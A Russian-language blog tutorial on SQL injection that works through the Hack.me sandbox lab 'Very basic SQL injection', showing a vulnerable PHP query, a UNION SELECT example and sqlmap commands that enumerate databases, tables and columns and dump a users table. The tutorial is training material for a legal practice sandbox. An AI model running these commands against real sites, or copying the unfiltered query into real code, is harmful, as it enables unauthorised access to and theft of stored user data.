Hack.me, Basic SQL инъекция с использованием sqlmap.
Практически любой сайт использует СУБД, в них хранятся ссылки,пользователи,пароли и много другой информации. SQL инъекция это очень популярный вид атаки на web-приложения основанный на внедрение операторов SQL в запросы.
Допустим у нас есть скрипт который ищет id в базе данных и выводит это:
$id = $_GET[‘id’];
$query = «SELECT * FROM news WHERE id=$id»;
http://example.org/script.php?id=5 и выполниться следующий запрос SQL:
SELECT * FROM news WHERE id=1
Если запрос не как не фильтруется мы может его видоизменить и послать базе совсем другой запрос http://example.org/script.php?id=5 UNION SELECT 1
SELECT * FROM news WHERE id=1 UNION SELECT 1
Это базовый принцип работы SQL инъекции, я не буду здесь разбирать подробности. Конечно я вам рекомендую более глубоко познакомиться с принципом и работой SQL запросов. Имея базовые знания мы может использовать уже готовые решения для нахождения и эксплуатации SQL-injection. Например известнейшая утилита с открытым кодом SQLMAP.
Что она только не умеет :
Полная поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и вне полосная (out-of-band).
Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
Поддержка сдампливания записей таблиц БД.
И это не все его возможности!
Конечно сразу очень хочется попробовать ее в деле )) И у нас есть такая законная возможность благодаря отличному sendbox проекту Hack.me. Где можно попробовать свои силы в тестировании на проникновении web приложений.
Я нашел подходящий нам sendbox Very basic SQL injection.
Запускаем, переходим по ссылке и попадаем в простую форму входа:
Ну что же, натрави на нее sqlmap:
python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php —banner —random-agent —forms —dbs
-u URL сайта.-u URL сайта.
—banner Баннер, получение информации о СУБД.
—dbs Перечислить базы данных СУБД.
—random-agent Использовать случайно выбранное значение заголовка HTTP User-Agent.
—forms Парсить и тестировать формы на целевой URL.
Отвечаем на всякие вопросы и в итоге получаем с начало информацию об найденных уязвимостях :
Собственно потом нам предложили воспользоваться ее для получения списка баз данных :
База information_schema стандартная и в ней думаю ничего интересного нету.
python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata —tables —forms
-D Указываем базу данных.
—tables Перечислить таблицы базы данных СУБД.
Едим дальше :
python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users —columns —forms
Теперь нам осталось только заглянуть в таблицы :
python sqlmap.py -u http://s70493-102131-ojf.croto.hack.me/index.php -D mydata -T users -C username —damp —forms
-T Таблица.
-С Колонка.
—dump Сдампить записи таблицы базы данных СУБД.
Дальше я думаю вы конечно же разберетесь )))
You have logged in. Here’s my top secret message:
I am a unicorn. SHHH! Don’t tell anyone.
Комментариев 0